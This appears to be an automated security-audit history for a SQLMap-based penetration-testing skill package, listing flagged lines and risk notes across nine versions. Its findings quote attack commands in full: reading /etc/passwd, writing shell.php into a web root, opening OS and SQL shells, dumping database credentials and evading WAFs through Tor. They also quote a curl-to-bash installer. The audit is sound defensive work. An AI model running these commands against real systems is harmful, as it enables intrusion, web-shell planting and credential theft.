📦
Audit History
webapp-sqlmap - 9 audits
Version comparison
Capability and finding changes across audited versions, newest first.
| Version | Date | Result | Review items | Change vs previous |
|---|---|---|---|---|
| v9 Latest | Jul 23, 2026, 07:24 AM | 6 confirmed | 2 | No capability change |
| v8 | Jul 7, 2026, 10:26 PM | 7 confirmed | 67 | No capability change |
| v7 | Jul 6, 2026, 01:39 AM | 6 confirmed | 38 | No capability change |
| v6 | Jun 28, 2026, 06:35 AM | No confirmed findings | 5 | Contains scripts |
| v5 | Jan 16, 2026, 04:26 PM | No confirmed findings | 0 | No capability change |
| v4 | Jan 16, 2026, 04:26 PM | No confirmed findings | 0 | External commandsNetwork accessFilesystem accessEnv variables |
| v3 | Jan 10, 2026, 11:07 AM | No confirmed findings | 0 | No capability change |
| v2 | Jan 10, 2026, 11:07 AM | No confirmed findings | 0 | No capability change |
| v1 | Jan 10, 2026, 11:07 AM | No confirmed findings | 0 | Baseline |
Audit version 9 Latest
Jul 23, 2026, 07:24 AM
Most alerts are false positives from Markdown fences, reserved example URLs, educational vulnerable code, and standard output paths. Confirmed issues include a remote script piped to Bash, a third-party action receiving a token, and commands for host file access and OS execution. Semantic review also found web-shell deployment, WAF evasion, and bulk credential extraction guidance that needs stronger controls.
6
Files scanned
1,994
Lines analyzed
13
Review items
0
False positives ignored
Confirmed security concerns (6)
Critical
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The workflow pipes an unauthenticated download directly into Bash without a pinned version or checksum. A compromised source can execute arbitrary code in the CI runner.
Critical
System password file access
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The skill provides a SQLMap command that reads /etc/passwd from the target server. This is direct host file access and can expose system account information.
Critical
Remote Host Compromise Workflow
The skill instructs users to deploy shell.php into a web root and obtain operating-system or SQL shells. These actions enable arbitrary remote control.
The commands explicitly use file-write, os-shell, and sql-shell options against a target. The surrounding heading labels them as advanced exploitation.
High
System reconnaissance
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The documented SQLMap command executes whoami on the target host. Remote operating-system command execution is a high-impact capability even in an authorized testing context.
High
Defense Evasion and Anonymization Guidance
The skill teaches WAF evasion with tamper scripts, randomized agents, proxies, Tor, and method changes. This can help bypass defensive monitoring.
The sections explicitly say to evade web application firewalls and address WAF blocking. The listed options implement evasion and traffic concealment.
High
Bulk Credential and Database Extraction
The skill provides commands to dump entire databases, search password columns, extract administrator credentials, and enumerate database passwords and privileges.
The documented commands explicitly request dump-all, password columns, credential extraction, users, passwords, privileges, and all databases.
Capability review items (2)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
Git platform tokens
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
The workflow passes GITHUB_TOKEN to gitleaks/gitleaks-action@v2, which is pinned only to a mutable tag. A compromised action could misuse the token despite the workflow's limited permissions.
Low
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The workflow downloads an installer from a hardcoded remote GitHub URL. This creates a real network and supply-chain dependency.
Risk Factors
⚙️ External commands (50)
assets/ci-config-template.yml:298 assets/ci-config-template.yml:301 assets/ci-config-template.yml:304 assets/ci-config-template.yml:307 assets/ci-config-template.yml:310 assets/ci-config-template.yml:134 assets/ci-config-template.yml:250 assets/ci-config-template.yml:291 SKILL.md:34-46 SKILL.md:46-78 SKILL.md:78-87 SKILL.md:87-90 SKILL.md:90-99 SKILL.md:99-102 SKILL.md:102-111 SKILL.md:111-117 SKILL.md:117-132 SKILL.md:132-146 SKILL.md:146-164 SKILL.md:164-170 SKILL.md:170-185 SKILL.md:185-192 SKILL.md:192-198 SKILL.md:198-201 SKILL.md:201-210 SKILL.md:210-213 SKILL.md:213-219 SKILL.md:219-225 SKILL.md:225-246 SKILL.md:246-249 SKILL.md:249-250 SKILL.md:250-251 SKILL.md:251-252 SKILL.md:252-253 SKILL.md:253-254 SKILL.md:254-296 SKILL.md:296-305 SKILL.md:305-309 SKILL.md:309-322 SKILL.md:322-326 SKILL.md:326-338 SKILL.md:338-342 SKILL.md:342-354 SKILL.md:354-360 SKILL.md:360-369 SKILL.md:369-373 SKILL.md:373-388 SKILL.md:388-395 SKILL.md:395-404 SKILL.md:404-409
🌐 Network access (50)
assets/ci-config-template.yml:240 assets/rule-template.yaml:43 assets/rule-template.yaml:44 assets/rule-template.yaml:45 assets/rule-template.yaml:73 assets/rule-template.yaml:118 assets/rule-template.yaml:119 assets/rule-template.yaml:151 assets/rule-template.yaml:191 assets/rule-template.yaml:192 assets/rule-template.yaml:193 assets/rule-template.yaml:217 assets/rule-template.yaml:260 assets/rule-template.yaml:261 assets/rule-template.yaml:288 SKILL.md:17 SKILL.md:18 SKILL.md:19 SKILL.md:36 SKILL.md:39 SKILL.md:45 SKILL.md:80 SKILL.md:83 SKILL.md:86 SKILL.md:92 SKILL.md:98 SKILL.md:104 SKILL.md:107 SKILL.md:110 SKILL.md:119 SKILL.md:122 SKILL.md:125 SKILL.md:128 SKILL.md:131 SKILL.md:148 SKILL.md:151 SKILL.md:154 SKILL.md:157 SKILL.md:160 SKILL.md:163 SKILL.md:172 SKILL.md:175 SKILL.md:178 SKILL.md:181 SKILL.md:184 SKILL.md:194 SKILL.md:197 SKILL.md:203 SKILL.md:206 SKILL.md:209
📁 Filesystem access (4)
🔑 Env variables (23)
assets/ci-config-template.yml:164 assets/rule-template.yaml:148 assets/rule-template.yaml:148 assets/rule-template.yaml:147 assets/rule-template.yaml:162 assets/rule-template.yaml:132 assets/rule-template.yaml:147 assets/rule-template.yaml:148 assets/rule-template.yaml:156 assets/rule-template.yaml:157 assets/rule-template.yaml:162 assets/rule-template.yaml:163 assets/rule-template.yaml:164 assets/rule-template.yaml:165 references/EXAMPLE.md:423 references/EXAMPLE.md:423 references/EXAMPLE.md:424 references/EXAMPLE.md:425 references/EXAMPLE.md:427 references/EXAMPLE.md:430 references/EXAMPLE.md:432 references/EXAMPLE.md:437 references/EXAMPLE.md:444
⚡ Contains scripts (2)
Detected Patterns
Pipe to shell patternSystem password file accessSystem reconnaissance
Audited by: codex
Jul 7, 2026, 10:26 PM
Most template and reference-file detections are false positives because they are documentation, detection-rule examples, or CI reporting helpers. Confirmed risk remains high due to SQLMap guidance for data extraction, WAF evasion, file access, shell access, and a CI curl-to-shell installer.
6
Files scanned
1,994
Lines analyzed
79
Review items
0
False positives ignored
Confirmed security concerns (7)
Critical
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote install script and executes it through a shell pipeline. This creates a supply-chain execution risk without pinning or integrity verification.
Critical
System password file access
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The example explicitly reads /etc/passwd from a target through SQLMap. This is sensitive system password-file access and should be treated as a critical capability.
Critical
Server File Write And Shell Access Guidance
The advanced exploitation section shows target file reads, web-root file writes, operating-system command execution, and shell access.
The section includes /etc/passwd reading, shell.php file writing, os-cmd, os-shell, and sql-shell examples. These are direct post-exploitation capabilities.
High
System reconnaissance
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The example runs an operating-system command through SQLMap. That demonstrates remote command execution capability after exploitation.
High
Offensive SQL Injection Exploitation Workflow
The skill provides a full workflow for database dumping, password column extraction, admin credential extraction, and broad enumeration.
The cited sections explicitly describe dumping tables, searching password data, extracting admin credentials, and enumerating users and passwords. Authorization language is present, but the operational steps remain high-risk dual-use guidance.
High
WAF Evasion And Traffic Obfuscation Guidance
The skill teaches tamper scripts, random user agents, delays, proxying, Tor, randomization, and method changes to bypass blocking.
Both cited sections explicitly frame the options as WAF bypass or responses to WAF blocking. These tactics can help evade defensive controls during unauthorized testing.
Medium
SQLite database file
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
The example saves SQLMap session data to a SQLite file. Such output can contain sensitive target metadata or extracted results and needs retention controls.
Capability review items (67)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The SQLMap example reads /etc/passwd from a target server. This demonstrates sensitive system-file extraction through SQL injection.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.p
The SQLMap example writes shell.php into a web root. That can create a web shell on a target server if run against a vulnerable system.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-shell
The SQLMap example requests an operating-system shell. This is direct post-exploitation guidance if used on a vulnerable target.
High
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded URL is part of a remote installer that is piped to bash. This is risky because the CI job executes network-delivered code without verification.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The SQLMap example demonstrates command or SQL shell access after exploitation. This is high-risk post-exploitation guidance even with authorization caveats.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --sql-shell
The SQLMap example demonstrates command or SQL shell access after exploitation. This is high-risk post-exploitation guidance even with authorization caveats.
High
Hardcoded URL
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
The SQLMap example supports authentication bypass or invasive assessment activity. It is dual-use and needs strict authorization controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --random-agent
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tor --check-tor
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/login" \
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" \
The SQLMap example supports database dumping, credential extraction, or broad enumeration. Authorization warnings exist, but the capability can expose sensitive data.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --method=PUT
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hardcoded IP address
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The SQLMap example describes WAF bypass, traffic disguise, proxying, Tor, or request randomization. These options can help evade defensive controls.
High
Hidden file in home directory
- **Logging**: All SQLMap activity is logged to ~/.sqlmap/output/
The skill notes that SQLMap writes activity to ~/.sqlmap/output. This hidden home-directory storage can retain sensitive target data after testing.
Medium
Hardcoded URL · 2 occurrences
sqlmap -u "http://example.com/page?id=1"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL · 2 occurrences
sqlmap -u "http://example.com/page?id=1" --dbs
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/product?id=1"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/js
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --fingerprint
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-db
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --users
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --privileges
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --batch
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs --batch
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/login" \
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://api.example.com/user/1" \
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://api.example.com/search" \
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --technique=U
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --threads=5
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1&name=test" -p id
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hardcoded IP address
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
The SQLMap command performs active SQL injection probing, fingerprinting, enumeration, or API testing. It can be legitimate when authorized, but it is still dual-use offensive tooling.
Medium
Hidden file access
- **Logging**: All SQLMap activity is logged to ~/.sqlmap/output/
The skill notes that SQLMap writes activity to ~/.sqlmap/output. This hidden home-directory storage can retain sensitive target data after testing.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --resume
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -v 3
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Low
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -t traffic.log
The SQLMap command is mainly about output, session, or traffic logging, but it still targets a web application with an offensive testing tool. The direct risk at this line is limited.
Risk Factors
⚙️ External commands (53)
assets/ci-config-template.yml:298 assets/ci-config-template.yml:301 assets/ci-config-template.yml:304 assets/ci-config-template.yml:307 assets/ci-config-template.yml:310 assets/ci-config-template.yml:134 assets/ci-config-template.yml:250 assets/ci-config-template.yml:291 SKILL.md:34-46 SKILL.md:46-78 SKILL.md:78-87 SKILL.md:87-90 SKILL.md:90-99 SKILL.md:99-102 SKILL.md:102-111 SKILL.md:111-117 SKILL.md:117-132 SKILL.md:132-146 SKILL.md:146-164 SKILL.md:164-170 SKILL.md:170-185 SKILL.md:185-192 SKILL.md:192-198 SKILL.md:198-201 SKILL.md:201-210 SKILL.md:210-213 SKILL.md:213-219 SKILL.md:219-225 SKILL.md:225-246 SKILL.md:246-249 SKILL.md:249-250 SKILL.md:250-251 SKILL.md:251-252 SKILL.md:252-253 SKILL.md:253-254 SKILL.md:254-296 SKILL.md:296-305 SKILL.md:305-309 SKILL.md:309-322 SKILL.md:322-326 SKILL.md:326-338 SKILL.md:338-342 SKILL.md:342-354 SKILL.md:354-360 SKILL.md:360-369 SKILL.md:369-373 SKILL.md:373-388 SKILL.md:388-395 SKILL.md:395-404 SKILL.md:404-409 SKILL.md:409-418 SKILL.md:418-423 SKILL.md:423-432
🌐 Network access (90)
assets/ci-config-template.yml:240 assets/rule-template.yaml:43 assets/rule-template.yaml:44 assets/rule-template.yaml:45 assets/rule-template.yaml:73 assets/rule-template.yaml:118 assets/rule-template.yaml:119 assets/rule-template.yaml:151 assets/rule-template.yaml:191 assets/rule-template.yaml:192 assets/rule-template.yaml:193 assets/rule-template.yaml:217 assets/rule-template.yaml:260 assets/rule-template.yaml:261 assets/rule-template.yaml:288 SKILL.md:17 SKILL.md:18 SKILL.md:19 SKILL.md:36 SKILL.md:39 SKILL.md:45 SKILL.md:80 SKILL.md:83 SKILL.md:86 SKILL.md:92 SKILL.md:98 SKILL.md:104 SKILL.md:107 SKILL.md:110 SKILL.md:119 SKILL.md:122 SKILL.md:125 SKILL.md:128 SKILL.md:131 SKILL.md:148 SKILL.md:151 SKILL.md:154 SKILL.md:157 SKILL.md:160 SKILL.md:163 SKILL.md:172 SKILL.md:175 SKILL.md:178 SKILL.md:181 SKILL.md:184 SKILL.md:194 SKILL.md:197 SKILL.md:203 SKILL.md:206 SKILL.md:209 SKILL.md:215 SKILL.md:218 SKILL.md:227 SKILL.md:230 SKILL.md:233 SKILL.md:236 SKILL.md:239 SKILL.md:242 SKILL.md:245 SKILL.md:298 SKILL.md:301 SKILL.md:304 SKILL.md:311 SKILL.md:318 SKILL.md:328 SKILL.md:334 SKILL.md:344 SKILL.md:368 SKILL.md:375 SKILL.md:378 SKILL.md:381 SKILL.md:384 SKILL.md:387 SKILL.md:397 SKILL.md:400 SKILL.md:403 SKILL.md:411 SKILL.md:414 SKILL.md:417 SKILL.md:425 SKILL.md:428 SKILL.md:431 SKILL.md:460 SKILL.md:461 SKILL.md:462 SKILL.md:463 SKILL.md:464 SKILL.md:107 SKILL.md:242 SKILL.md:368
📁 Filesystem access (4)
🔑 Env variables (23)
assets/ci-config-template.yml:164 assets/rule-template.yaml:148 assets/rule-template.yaml:148 assets/rule-template.yaml:147 assets/rule-template.yaml:162 assets/rule-template.yaml:132 assets/rule-template.yaml:147 assets/rule-template.yaml:148 assets/rule-template.yaml:156 assets/rule-template.yaml:157 assets/rule-template.yaml:162 assets/rule-template.yaml:163 assets/rule-template.yaml:164 assets/rule-template.yaml:165 references/EXAMPLE.md:423 references/EXAMPLE.md:423 references/EXAMPLE.md:424 references/EXAMPLE.md:425 references/EXAMPLE.md:427 references/EXAMPLE.md:430 references/EXAMPLE.md:432 references/EXAMPLE.md:437 references/EXAMPLE.md:444
⚡ Contains scripts (2)
Detected Patterns
Pipe to shell patternSystem password file accessSystem reconnaissance
Audited by: codex
Jul 6, 2026, 01:39 AM
Most template and reference hits are documentation examples, placeholders, or Markdown artifacts and were marked false positive. Confirmed risks remain in the SQLMap guidance for data dumping, target file access, shell actions, evasion, and a CI template that pipes a remote script into bash. No prompt injection attempts were found in the reviewed files.
5
Files scanned
1,984
Lines analyzed
49
Review items
2
False positives ignored
Confirmed security concerns (6)
Critical
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote install script and pipes it directly to bash. That executes mutable network content without pinning or checksum verification.
Critical
System password file access
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The skill explicitly demonstrates using SQLMap to read /etc/passwd from a target server. That is invasive file access and can expose sensitive system information.
Critical
Offensive SQLMap Exploitation Guidance
The skill goes beyond detection and gives workflows for dumping databases, reading files, writing web files, and opening OS or SQL shells.
The cited section directly documents data extraction, /etc/passwd reads, web file writes, OS command execution, and shell access options.
High
System reconnaissance
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The line demonstrates SQLMap OS command execution against a target with whoami. This is a remote command execution impact test, not benign reconnaissance.
High
Evasion and Anonymization Guidance
The skill instructs users to use tamper scripts, random agents, proxy routing, Tor, randomized delays, and method changes to bypass controls.
The cited sections are explicitly titled WAF bypass or WAF blocking solutions and list evasion-oriented SQLMap options.
Medium
SQLite database file
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
The example stores a SQLMap session in a SQLite file. Such sessions can contain target URLs, requests, findings, and sensitive test evidence.
Capability review items (38)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The placeholder URL appears in a SQLMap command for file access or shell creation against a target. The example teaches highly invasive exploitation behavior.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.p
The placeholder URL appears in a SQLMap command for file access or shell creation against a target. The example teaches highly invasive exploitation behavior.
Critical
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-shell
The placeholder URL appears in a SQLMap command for file access or shell creation against a target. The example teaches highly invasive exploitation behavior.
High
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded URL is part of a curl-to-bash install command in CI. This creates supply-chain risk if the remote script changes or is compromised.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --sql-shell
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --random-agent
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
